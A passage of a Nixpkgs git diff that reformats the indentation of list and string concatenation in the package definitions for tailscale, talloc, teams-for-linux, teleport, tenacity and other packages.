-        ]
-        ++ lib.optionals stdenv.hostPlatform.isDarwin [
-          # syscall default route interface en0 differs from netstat
-          "TestLikelyHomeRouterIPSyscallExec" # net/netmon
+        # flaky: https://github.com/tailscale/tailscale/issues/7030
+        "TestConcurrent"
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [
+        # syscall default route interface en0 differs from netstat
+        "TestLikelyHomeRouterIPSyscallExec" # net/netmon
 
-          # Even with __darwinAllowLocalNetworking this doesn't work.
-          # panic: write udp [::]:59507->127.0.0.1:50830: sendto: operation not permitted
-          "TestUDP" # net/socks5
+        # Even with __darwinAllowLocalNetworking this doesn't work.
+        # panic: write udp [::]:59507->127.0.0.1:50830: sendto: operation not permitted
+        "TestUDP" # net/socks5
 
-          # portlist_test.go:81: didn't find ephemeral port in p2 53643
-          "TestPoller" # portlist
+        # portlist_test.go:81: didn't find ephemeral port in p2 53643
+        "TestPoller" # portlist
 
-          # Fails only on Darwin, succeeds on other tested platforms.
-          "TestOnTailnetDefaultAutoUpdate"
-        ];
+        # Fails only on Darwin, succeeds on other tested platforms.
+        "TestOnTailnetDefaultAutoUpdate"
+      ];
     in
     [ "-skip=^${builtins.concatStringsSep "$|^" skippedTests}$" ];
 
-  postInstall =
-    ''
-      ln -s $out/bin/tailscaled $out/bin/tailscale
-      moveToOutput "bin/derper" "$derper"
-      moveToOutput "bin/derpprobe" "$derper"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      wrapProgram $out/bin/tailscaled \
-        --prefix PATH : ${
-          lib.makeBinPath [
-            # Uses lsof only on macOS to detect socket location
-            # See tailscale safesocket_darwin.go
-            lsof
-          ]
-        }
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      wrapProgram $out/bin/tailscaled \
-        --prefix PATH : ${
-          lib.makeBinPath [
-            getent
-            iproute2
-            iptables
-            shadow
-          ]
-        } \
-        --suffix PATH : ${lib.makeBinPath [ procps ]}
-      sed -i -e "s#/usr/sbin#$out/bin#" -e "/^EnvironmentFile/d" ./cmd/tailscaled/tailscaled.service
-      install -D -m0444 -t $out/lib/systemd/system ./cmd/tailscaled/tailscaled.service
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      local INSTALL="$out/bin/tailscale"
-      installShellCompletion --cmd tailscale \
-        --bash <($out/bin/tailscale completion bash) \
-        --fish <($out/bin/tailscale completion fish) \
-        --zsh <($out/bin/tailscale completion zsh)
-    '';
+  postInstall = ''
+    ln -s $out/bin/tailscaled $out/bin/tailscale
+    moveToOutput "bin/derper" "$derper"
+    moveToOutput "bin/derpprobe" "$derper"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    wrapProgram $out/bin/tailscaled \
+      --prefix PATH : ${
+        lib.makeBinPath [
+          # Uses lsof only on macOS to detect socket location
+          # See tailscale safesocket_darwin.go
+          lsof
+        ]
+      }
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    wrapProgram $out/bin/tailscaled \
+      --prefix PATH : ${
+        lib.makeBinPath [
+          getent
+          iproute2
+          iptables
+          shadow
+        ]
+      } \
+      --suffix PATH : ${lib.makeBinPath [ procps ]}
+    sed -i -e "s#/usr/sbin#$out/bin#" -e "/^EnvironmentFile/d" ./cmd/tailscaled/tailscaled.service
+    install -D -m0444 -t $out/lib/systemd/system ./cmd/tailscaled/tailscaled.service
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    local INSTALL="$out/bin/tailscale"
+    installShellCompletion --cmd tailscale \
+      --bash <($out/bin/tailscale completion bash) \
+      --fish <($out/bin/tailscale completion fish) \
+      --zsh <($out/bin/tailscale completion zsh)
+  '';
 
   passthru.tests = {
     inherit (nixosTests) headscale;
diff --git a/pkgs/by-name/ta/taisei/package.nix b/pkgs/by-name/ta/taisei/package.nix
index 452fbf04d0db..ffbfce310b4e 100644
--- a/pkgs/by-name/ta/taisei/package.nix
+++ b/pkgs/by-name/ta/taisei/package.nix
@@ -66,7 +66,8 @@ stdenv.mkDerivation (finalAttrs: {
     opusfile
     openssl
     spirv-cross
-  ] ++ lib.optional gamemodeSupport gamemode;
+  ]
+  ++ lib.optional gamemodeSupport gamemode;
 
   mesonFlags = [
     (lib.mesonBool "b_lto" false)
diff --git a/pkgs/by-name/ta/talloc/package.nix b/pkgs/by-name/ta/talloc/package.nix
index 6dc4fe54aef8..f76588c4d1b1 100644
--- a/pkgs/by-name/ta/talloc/package.nix
+++ b/pkgs/by-name/ta/talloc/package.nix
@@ -23,17 +23,16 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-3EbEC59GuzTdl/5B9Uiw6LJHt3qRhXZzPFKOg6vYVN0=";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      python3
-      wafHook
-      docbook-xsl-nons
-      docbook_xml_dtd_42
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    python3
+    wafHook
+    docbook-xsl-nons
+    docbook_xml_dtd_42
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ];
 
   buildInputs = [
     python3
@@ -51,16 +50,15 @@ stdenv.mkDerivation rec {
 
   wafPath = "buildtools/bin/waf";
 
-  wafConfigureFlags =
-    [
-      "--enable-talloc-compat1"
-      "--bundled-libraries=NONE"
-      "--builtin-libraries=replace"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "--cross-compile"
-      "--cross-execute=${stdenv.hostPlatform.emulator buildPackages}"
-    ];
+  wafConfigureFlags = [
+    "--enable-talloc-compat1"
+    "--bundled-libraries=NONE"
+    "--builtin-libraries=replace"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "--cross-compile"
+    "--cross-execute=${stdenv.hostPlatform.emulator buildPackages}"
+  ];
 
   # python-config from build Python gives incorrect values when cross-compiling.
   # If python-config is not found, the build falls back to using the sysconfig
diff --git a/pkgs/by-name/ta/tangram/package.nix b/pkgs/by-name/ta/tangram/package.nix
index 07d98d5887d9..0239dd78c72b 100644
--- a/pkgs/by-name/ta/tangram/package.nix
+++ b/pkgs/by-name/ta/tangram/package.nix
@@ -51,24 +51,23 @@ stdenv.mkDerivation rec {
     wrapGAppsHook4
   ];
 
-  buildInputs =
-    [
-      gdk-pixbuf
-      gjs
-      glib
-      glib-networking
-      gsettings-desktop-schemas
-      gtk4
-      libadwaita
-      webkitgtk_6_0
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-libav
-      gst-plugins-base
-      (gst-plugins-good.override { gtkSupport = true; })
-      gst-plugins-bad
-    ]);
+  buildInputs = [
+    gdk-pixbuf
+    gjs
+    glib
+    glib-networking
+    gsettings-desktop-schemas
+    gtk4
+    libadwaita
+    webkitgtk_6_0
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-libav
+    gst-plugins-base
+    (gst-plugins-good.override { gtkSupport = true; })
+    gst-plugins-bad
+  ]);
 
   dontPatchShebangs = true;
 
diff --git a/pkgs/by-name/ta/tarsnap/package.nix b/pkgs/by-name/ta/tarsnap/package.nix
index 0fbf2f95fe46..10a64fa7a591 100644
--- a/pkgs/by-name/ta/tarsnap/package.nix
+++ b/pkgs/by-name/ta/tarsnap/package.nix
@@ -51,13 +51,12 @@ stdenv.mkDerivation rec {
     installShellFiles
   ];
 
-  buildInputs =
-    [
-      openssl
-      zlib
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux e2fsprogs
-    ++ lib.optional stdenv.hostPlatform.isDarwin bzip2;
+  buildInputs = [
+    openssl
+    zlib
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux e2fsprogs
+  ++ lib.optional stdenv.hostPlatform.isDarwin bzip2;
 
   meta = {
     description = "Online backups for the truly paranoid";
diff --git a/pkgs/by-name/ta/taskopen/package.nix b/pkgs/by-name/ta/taskopen/package.nix
index 8507256139e9..a44e9b46942f 100644
--- a/pkgs/by-name/ta/taskopen/package.nix
+++ b/pkgs/by-name/ta/taskopen/package.nix
@@ -26,12 +26,13 @@ stdenv.mkDerivation rec {
   '';
 
   nativeBuildInputs = [ makeWrapper ];
-  buildInputs =
-    [ which ]
-    ++ (with perlPackages; [
-      JSON
-      perl
-    ]);
+  buildInputs = [
+    which
+  ]
+  ++ (with perlPackages; [
+    JSON
+    perl
+  ]);
 
   installPhase = ''
     make PREFIX=$out
diff --git a/pkgs/by-name/ta/taskwarrior3/package.nix b/pkgs/by-name/ta/taskwarrior3/package.nix
index b9265b199a65..0224cbe2d8aa 100644
--- a/pkgs/by-name/ta/taskwarrior3/package.nix
+++ b/pkgs/by-name/ta/taskwarrior3/package.nix
@@ -54,14 +54,13 @@ stdenv.mkDerivation (finalAttrs: {
     "bash_completion.test.py"
   ];
   # Contains Bash and Python scripts used while testing.
-  preConfigure =
-    ''
-      patchShebangs test
-    ''
-    + lib.optionalString (builtins.length finalAttrs.failingTests > 0) ''
-      substituteInPlace test/CMakeLists.txt \
-        ${lib.concatMapStringsSep "\\\n  " (t: "--replace-fail ${t} '' ") finalAttrs.failingTests}
-    '';
+  preConfigure = ''
+    patchShebangs test
+  ''
+  + lib.optionalString (builtins.length finalAttrs.failingTests > 0) ''
+    substituteInPlace test/CMakeLists.txt \
+      ${lib.concatMapStringsSep "\\\n  " (t: "--replace-fail ${t} '' ") finalAttrs.failingTests}
+  '';
 
   strictDeps = true;
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ta/taterclient-ddnet/package.nix b/pkgs/by-name/ta/taterclient-ddnet/package.nix
index 76a01e1b4b62..c646b4945b7b 100644
--- a/pkgs/by-name/ta/taterclient-ddnet/package.nix
+++ b/pkgs/by-name/ta/taterclient-ddnet/package.nix
@@ -76,7 +76,8 @@ stdenv.mkDerivation (finalAttrs: {
     glslang
     spirv-tools
     glew
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ libX11 ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ libX11 ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/tc/tcpcrypt/package.nix b/pkgs/by-name/tc/tcpcrypt/package.nix
index bf9552a1ee45..242522e17640 100644
--- a/pkgs/by-name/tc/tcpcrypt/package.nix
+++ b/pkgs/by-name/tc/tcpcrypt/package.nix
@@ -30,17 +30,16 @@ stdenv.mkDerivation rec {
     "out"
   ];
   nativeBuildInputs = [ autoreconfHook ];
-  buildInputs =
-    [
-      openssl
-      libpcap
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap
-      libnfnetlink
-      libnetfilter_conntrack
-      libnetfilter_queue
-    ];
+  buildInputs = [
+    openssl
+    libpcap
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap
+    libnfnetlink
+    libnetfilter_conntrack
+    libnetfilter_queue
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/tc/tcpflow/package.nix b/pkgs/by-name/tc/tcpflow/package.nix
index 23f26c6ef783..4328b56d9d7c 100644
--- a/pkgs/by-name/tc/tcpflow/package.nix
+++ b/pkgs/by-name/tc/tcpflow/package.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation rec {
     zlib
     libpcap
     boost
-  ] ++ lib.optional useCairo cairo;
+  ]
+  ++ lib.optional useCairo cairo;
 
   prePatch = ''
     substituteInPlace bootstrap.sh \
diff --git a/pkgs/by-name/td/tdb/package.nix b/pkgs/by-name/td/tdb/package.nix
index 237b4d3d1c59..7926ef0c19b1 100644
--- a/pkgs/by-name/td/tdb/package.nix
+++ b/pkgs/by-name/td/tdb/package.nix
@@ -46,15 +46,14 @@ stdenv.mkDerivation rec {
 
   wafPath = "buildtools/bin/waf";
 
-  wafConfigureFlags =
-    [
-      "--bundled-libraries=NONE"
-      "--builtin-libraries=replace"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "--cross-compile"
-      "--cross-execute=${stdenv.hostPlatform.emulator buildPackages}"
-    ];
+  wafConfigureFlags = [
+    "--bundled-libraries=NONE"
+    "--builtin-libraries=replace"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "--cross-compile"
+    "--cross-execute=${stdenv.hostPlatform.emulator buildPackages}"
+  ];
 
   postFixup =
     if stdenv.hostPlatform.isDarwin then
diff --git a/pkgs/by-name/td/tdlib/package.nix b/pkgs/by-name/td/tdlib/package.nix
index ff98690c7ed9..0f5bb94679ae 100644
--- a/pkgs/by-name/td/tdlib/package.nix
+++ b/pkgs/by-name/td/tdlib/package.nix
@@ -74,18 +74,17 @@ stdenv.mkDerivation {
   '';
 
   # https://github.com/tdlib/td/issues/1974
-  postPatch =
-    ''
-      substituteInPlace CMake/GeneratePkgConfig.cmake \
-        --replace 'function(generate_pkgconfig' \
-                  'include(GNUInstallDirs)
-                   function(generate_pkgconfig' \
-        --replace '\$'{prefix}/'$'{CMAKE_INSTALL_LIBDIR} '$'{CMAKE_INSTALL_FULL_LIBDIR} \
-        --replace '\$'{prefix}/'$'{CMAKE_INSTALL_INCLUDEDIR} '$'{CMAKE_INSTALL_FULL_INCLUDEDIR}
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) ''
-      sed -i "/vptr/d" test/CMakeLists.txt
-    '';
+  postPatch = ''
+    substituteInPlace CMake/GeneratePkgConfig.cmake \
+      --replace 'function(generate_pkgconfig' \
+                'include(GNUInstallDirs)
+                 function(generate_pkgconfig' \
+      --replace '\$'{prefix}/'$'{CMAKE_INSTALL_LIBDIR} '$'{CMAKE_INSTALL_FULL_LIBDIR} \
+      --replace '\$'{prefix}/'$'{CMAKE_INSTALL_INCLUDEDIR} '$'{CMAKE_INSTALL_FULL_INCLUDEDIR}
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) ''
+    sed -i "/vptr/d" test/CMakeLists.txt
+  '';
 
   passthru.updateScript = lib.getExe updateScript;
 
diff --git a/pkgs/by-name/te/teams-for-linux/package.nix b/pkgs/by-name/te/teams-for-linux/package.nix
index e085cfb1220a..bc259cf2a778 100644
--- a/pkgs/by-name/te/teams-for-linux/package.nix
+++ b/pkgs/by-name/te/teams-for-linux/package.nix
@@ -30,7 +30,8 @@ buildNpmPackage rec {
   nativeBuildInputs = [
     makeWrapper
     versionCheckHook
-  ] ++ lib.optionals (stdenv.hostPlatform.isLinux) [ copyDesktopItems ];
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [ copyDesktopItems ];
 
   doInstallCheck = stdenv.hostPlatform.isLinux;
 
@@ -42,66 +43,64 @@ buildNpmPackage rec {
 
   makeCacheWritable = true;
 
-  buildPhase =
-    ''
-      runHook preBuild
+  buildPhase = ''
+    runHook preBuild
 
-      cp -r ${electron_37.dist} electron-dist
-      chmod -R u+w electron-dist
-    ''
-    # Electron builder complains about symlink in electron-dist
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      rm electron-dist/libvulkan.so.1
-      cp ${lib.getLib vulkan-loader}/lib/libvulkan.so.1 electron-dist
-    ''
-    + ''
+    cp -r ${electron_37.dist} electron-dist
+    chmod -R u+w electron-dist
+  ''
+  # Electron builder complains about symlink in electron-dist
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    rm electron-dist/libvulkan.so.1
+    cp ${lib.getLib vulkan-loader}/lib/libvulkan.so.1 electron-dist
+  ''
+  + ''
 
-      npm exec electron-builder -- \
-          --dir \
-          -c.npmRebuild=true \
-          -c.asarUnpack="**/*.node" \
-          -c.electronDist=electron-dist \
-          -c.electronVersion=${electron_37.version}
+    npm exec electron-builder -- \
+        --dir \
+        -c.npmRebuild=true \
+        -c.asarUnpack="**/*.node" \
+        -c.electronDist=electron-dist \
+        -c.electronVersion=${electron_37.version}
 
-      runHook postBuild
-    '';
+    runHook postBuild
+  '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      mkdir -p $out/share/{applications,teams-for-linux}
-      cp dist/*-unpacked/resources/app.asar $out/share/teams-for-linux/
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    mkdir -p $out/share/{applications,teams-for-linux}
+    cp dist/*-unpacked/resources/app.asar $out/share/teams-for-linux/
 
-      pushd build/icons
-      for image in *png; do
-        mkdir -p $out/share/icons/hicolor/''${image%.png}/apps
-        cp -r $image $out/share/icons/hicolor/''${image%.png}/apps/teams-for-linux.png
-      done
-      popd
+    pushd build/icons
+    for image in *png; do
+      mkdir -p $out/share/icons/hicolor/''${image%.png}/apps
+      cp -r $image $out/share/icons/hicolor/''${image%.png}/apps/teams-for-linux.png
+    done
+    popd
 
-      # Linux needs 'aplay' for notification sounds
-      makeWrapper '${lib.getExe electron_37}' "$out/bin/teams-for-linux" \
-        --prefix PATH : ${
-          lib.makeBinPath [
-            alsa-utils
-            which
-          ]
-        } \
-        --add-flags "$out/share/teams-for-linux/app.asar" \
-        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/Applications
-      cp -r dist/mac*/teams-for-linux.app $out/Applications
-      makeWrapper $out/Applications/teams-for-linux.app/Contents/MacOS/teams-for-linux $out/bin/teams-for-linux
-    ''
-    + ''
+    # Linux needs 'aplay' for notification sounds
+    makeWrapper '${lib.getExe electron_37}' "$out/bin/teams-for-linux" \
+      --prefix PATH : ${
+        lib.makeBinPath [
+          alsa-utils
+          which
+        ]
+      } \
+      --add-flags "$out/share/teams-for-linux/app.asar" \
+      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/Applications
+    cp -r dist/mac*/teams-for-linux.app $out/Applications
+    makeWrapper $out/Applications/teams-for-linux.app/Contents/MacOS/teams-for-linux $out/bin/teams-for-linux
+  ''
+  + ''
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/by-name/te/teamspeak3/package.nix b/pkgs/by-name/te/teamspeak3/package.nix
index 42c4c2c24f03..f717bc297e86 100644
--- a/pkgs/by-name/te/teamspeak3/package.nix
+++ b/pkgs/by-name/te/teamspeak3/package.nix
@@ -37,19 +37,18 @@ stdenv.mkDerivation rec {
     copyDesktopItems
   ];
 
-  buildInputs =
-    [
-      libsForQt5.quazip
-      glib
-      libcxx
-    ]
-    ++ (with qt5; [
-      qtbase
-      qtwebengine
-      qtwebchannel
-      qtwebsockets
-      qtsvg
-    ]);
+  buildInputs = [
+    libsForQt5.quazip
+    glib
+    libcxx
+  ]
+  ++ (with qt5; [
+    qtbase
+    qtwebengine
+    qtwebchannel
+    qtwebsockets
+    qtsvg
+  ]);
 
   # This runs the installer script. If it gets stuck, run it with -x.
   # If it then gets stuck at something like:
diff --git a/pkgs/by-name/te/tectonic-unwrapped/package.nix b/pkgs/by-name/te/tectonic-unwrapped/package.nix
index cbbe465e781c..af1434de91e2 100644
--- a/pkgs/by-name/te/tectonic-unwrapped/package.nix
+++ b/pkgs/by-name/te/tectonic-unwrapped/package.nix
@@ -72,17 +72,16 @@ buildRustPackage rec {
     openssl
   ];
 
-  postInstall =
-    ''
-      # Makes it possible to automatically use the V2 CLI API
-      ln -s $out/bin/tectonic $out/bin/nextonic
-    ''
-    + lib.optionalString clangStdenv.hostPlatform.isLinux ''
-      substituteInPlace dist/appimage/tectonic.desktop \
-        --replace Exec=tectonic Exec=$out/bin/tectonic
-      install -D dist/appimage/tectonic.desktop -t $out/share/applications/
-      install -D dist/appimage/tectonic.svg -t $out/share/icons/hicolor/scalable/apps/
-    '';
+  postInstall = ''
+    # Makes it possible to automatically use the V2 CLI API
+    ln -s $out/bin/tectonic $out/bin/nextonic
+  ''
+  + lib.optionalString clangStdenv.hostPlatform.isLinux ''
+    substituteInPlace dist/appimage/tectonic.desktop \
+      --replace Exec=tectonic Exec=$out/bin/tectonic
+    install -D dist/appimage/tectonic.desktop -t $out/share/applications/
+    install -D dist/appimage/tectonic.svg -t $out/share/icons/hicolor/scalable/apps/
+  '';
 
   doCheck = true;
 
diff --git a/pkgs/by-name/te/tectonic/package.nix b/pkgs/by-name/te/tectonic/package.nix
index 90080d277e43..0546bdc07dfe 100644
--- a/pkgs/by-name/te/tectonic/package.nix
+++ b/pkgs/by-name/te/tectonic/package.nix
@@ -28,30 +28,29 @@ symlinkJoin {
   };
 
   # Replace the unwrapped tectonic with the one wrapping it with biber
-  postBuild =
-    ''
-      rm $out/bin/{tectonic,nextonic}
-    ''
-    # Pin the version of the online TeX bundle that Tectonic's developer
-    # distribute, so that the `biber` version and the `biblatex` version
-    # distributed from there are compatible.
-    #
-    # Upstream is updating it's online TeX bundle slower then
-    # https://github.com/plk/biber. That's why we match here the `bundleURL`
-    # version with that of `biber-for-tectonic`. See also upstream discussion:
-    #
-    # https://github.com/tectonic-typesetting/tectonic/discussions/1122
-    #
-    # Hence, we can be rather confident that for the near future, the online
-    # TeX bundle won't be updated and hence the biblatex distributed there
-    # won't require a higher version of biber.
-    + ''
-      makeWrapper ${lib.getBin tectonic-unwrapped}/bin/tectonic $out/bin/tectonic \
-        --prefix PATH : "${lib.getBin biber-for-tectonic}/bin" \
-        --add-flags "--web-bundle ${tectonic.passthru.bundleUrl}" \
-        --inherit-argv0 ## make sure binary name e.g. `nextonic` is passed along
-      ln -s $out/bin/tectonic $out/bin/nextonic
-    '';
+  postBuild = ''
+    rm $out/bin/{tectonic,nextonic}
+  ''
+  # Pin the version of the online TeX bundle that Tectonic's developer
+  # distribute, so that the `biber` version and the `biblatex` version
+  # distributed from there are compatible.
+  #
+  # Upstream is updating it's online TeX bundle slower then
+  # https://github.com/plk/biber. That's why we match here the `bundleURL`
+  # version with that of `biber-for-tectonic`. See also upstream discussion:
+  #
+  # https://github.com/tectonic-typesetting/tectonic/discussions/1122
+  #
+  # Hence, we can be rather confident that for the near future, the online
+  # TeX bundle won't be updated and hence the biblatex distributed there
+  # won't require a higher version of biber.
+  + ''
+    makeWrapper ${lib.getBin tectonic-unwrapped}/bin/tectonic $out/bin/tectonic \
+      --prefix PATH : "${lib.getBin biber-for-tectonic}/bin" \
+      --add-flags "--web-bundle ${tectonic.passthru.bundleUrl}" \
+      --inherit-argv0 ## make sure binary name e.g. `nextonic` is passed along
+    ln -s $out/bin/tectonic $out/bin/nextonic
+  '';
 
   meta = tectonic-unwrapped.meta // {
     description = "Tectonic TeX/LaTeX engine, wrapped with a compatible biber";
diff --git a/pkgs/by-name/te/teeworlds/package.nix b/pkgs/by-name/te/teeworlds/package.nix
index 6147fff6b7b0..2ed6cf0fb744 100644
--- a/pkgs/by-name/te/teeworlds/package.nix
+++ b/pkgs/by-name/te/teeworlds/package.nix
@@ -62,33 +62,31 @@ stdenv.mkDerivation rec {
     # don't seem to be packaged in Nixpkgs, so don't unbundle them.
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals (buildClient && stdenv.hostPlatform.isLinux) [
-      icoutils
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals (buildClient && stdenv.hostPlatform.isLinux) [
+    icoutils
+  ];
 
-  buildInputs =
+  buildInputs = [
+    python3
+    lua5_3
+    zlib
+    wavpack
+  ]
+  ++ lib.optionals buildClient (
     [
-      python3
-      lua5_3
-      zlib
-      wavpack
+      SDL2
+      freetype
     ]
-    ++ lib.optionals buildClient (
-      [
-        SDL2
-        freetype
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        libGLU
-        alsa-lib
-        libX11
-      ]
-    );
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      libGLU
+      alsa-lib
+      libX11
+    ]
+  );
 
   cmakeFlags = [
     "-DCLIENT=${if buildClient then "ON" else "OFF"}"
diff --git a/pkgs/by-name/te/telegraf/package.nix b/pkgs/by-name/te/telegraf/package.nix
index ba11fde28911..94b4eb1db3a1 100644
--- a/pkgs/by-name/te/telegraf/package.nix
+++ b/pkgs/by-name/te/telegraf/package.nix
@@ -31,15 +31,14 @@ buildGoModule rec {
     "-X=github.com/influxdata/telegraf/internal.Version=${version}"
   ];
 
-  passthru.tests =
-    {
-      version = testers.testVersion {
-        package = telegraf;
-      };
-    }
-    // lib.optionalAttrs stdenv.hostPlatform.isLinux {
-      inherit (nixosTests) telegraf;
+  passthru.tests = {
+    version = testers.testVersion {
+      package = telegraf;
     };
+  }
+  // lib.optionalAttrs stdenv.hostPlatform.isLinux {
+    inherit (nixosTests) telegraf;
+  };
 
   meta = with lib; {
     description = "Plugin-driven server agent for collecting & reporting metrics";
diff --git a/pkgs/by-name/te/telepathy-mission-control/package.nix b/pkgs/by-name/te/telepathy-mission-control/package.nix
index 616b138ffde8..e09780096df0 100644
--- a/pkgs/by-name/te/telepathy-mission-control/package.nix
+++ b/pkgs/by-name/te/telepathy-mission-control/package.nix
@@ -29,18 +29,17 @@ stdenv.mkDerivation rec {
 
   # TODO: optional build inputs missing
 
-  nativeBuildInputs =
-    [
-      telepathy-glib # glib-genmarshal
-      pkg-config
-      python3
-      libxslt
-      makeWrapper
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      autoreconfHook
-      gtk-doc
-    ];
+  nativeBuildInputs = [
+    telepathy-glib # glib-genmarshal
+    pkg-config
+    python3
+    libxslt
+    makeWrapper
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    autoreconfHook
+    gtk-doc
+  ];
 
   propagatedBuildInputs = [
     telepathy-glib
diff --git a/pkgs/by-name/te/teleport/package.nix b/pkgs/by-name/te/teleport/package.nix
index 0058ebc0b571..dbfc47752571 100644
--- a/pkgs/by-name/te/teleport/package.nix
+++ b/pkgs/by-name/te/teleport/package.nix
@@ -135,7 +135,8 @@ buildGo123Module (finalAttrs: {
   tags = [
     "libfido2"
     "webassets_embed"
-  ] ++ lib.optional withRdpClient "desktop_access_rdp";
+  ]
+  ++ lib.optional withRdpClient "desktop_access_rdp";
 
   buildInputs = [
     openssl
@@ -158,14 +159,13 @@ buildGo123Module (finalAttrs: {
     "client"
   ];
 
-  preBuild =
-    ''
-      cp -r ${webassets} webassets
-    ''
-    + lib.optionalString withRdpClient ''
-      ln -s ${rdpClient}/lib/* lib/
-      ln -s ${rdpClient}/include/* lib/srv/desktop/rdp/rdpclient/
-    '';
+  preBuild = ''
+    cp -r ${webassets} webassets
+  ''
+  + lib.optionalString withRdpClient ''
+    ln -s ${rdpClient}/lib/* lib/
+    ln -s ${rdpClient}/include/* lib/srv/desktop/rdp/rdpclient/
+  '';
 
   # Multiple tests fail in the build sandbox
   # due to trying to spawn nixbld's shell (/noshell), etc.
diff --git a/pkgs/by-name/te/tenacity/package.nix b/pkgs/by-name/te/tenacity/package.nix
index 2281a9f7237c..215e4423d508 100644
--- a/pkgs/by-name/te/tenacity/package.nix
+++ b/pkgs/by-name/te/tenacity/package.nix
@@ -91,60 +91,58 @@ stdenv.mkDerivation rec {
     "-lswscale"
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      gettext
-      makeWrapper
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      linuxHeaders
-    ];
+  nativeBuildInputs = [
+    cmake
+    gettext
+    makeWrapper
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    linuxHeaders
+  ];
 
-  buildInputs =
-    [
-      alsa-lib
-      expat
-      ffmpeg
-      file
-      flac
-      glib
-      lame
-      libid3tag
-      libjack2
-      libmad
-      libopus
-      libsndfile
-      libvorbis
-      lilv
-      lv2
-      pcre
-      portaudio
-      serd
-      sord
-      soundtouch
-      soxr
-      sqlite
-      sratom
-      suil
-      twolame
-      wxGTK32
-      gtk3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      at-spi2-core
-      dbus
-      libepoxy
-      libXdmcp
-      libXtst
-      libpthreadstubs
-      libxkbcommon
-      libselinux
-      libsepol
-      util-linux
-    ];
+  buildInputs = [
+    alsa-lib
+    expat
+    ffmpeg
+    file
+    flac
+    glib
+    lame
+    libid3tag
+    libjack2
+    libmad
+    libopus
+    libsndfile
+    libvorbis
+    lilv
+    lv2
+    pcre
+    portaudio
+    serd
+    sord
+    soundtouch
+    soxr
+    sqlite
+    sratom
+    suil
+    twolame
+    wxGTK32
+    gtk3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    at-spi2-core
+    dbus
+    libepoxy
+    libXdmcp
+    libXtst
+    libpthreadstubs
+    libxkbcommon
+    libselinux
+    libsepol
+    util-linux
+  ];
 
   cmakeFlags = [
     # RPATH of binary /nix/store/.../bin/... contains a forbidden reference to /build/
diff --git a/pkgs/by-name/te/tensorflow-lite/package.nix b/pkgs/by-name/te/tensorflow-lite/package.nix
index 2c2556f7d4eb..26554df0709c 100644
--- a/pkgs/by-name/te/tensorflow-lite/package.nix
+++ b/pkgs/by-name/te/tensorflow-lite/package.nix
@@ -56,13 +56,12 @@ buildBazelPackage rec {
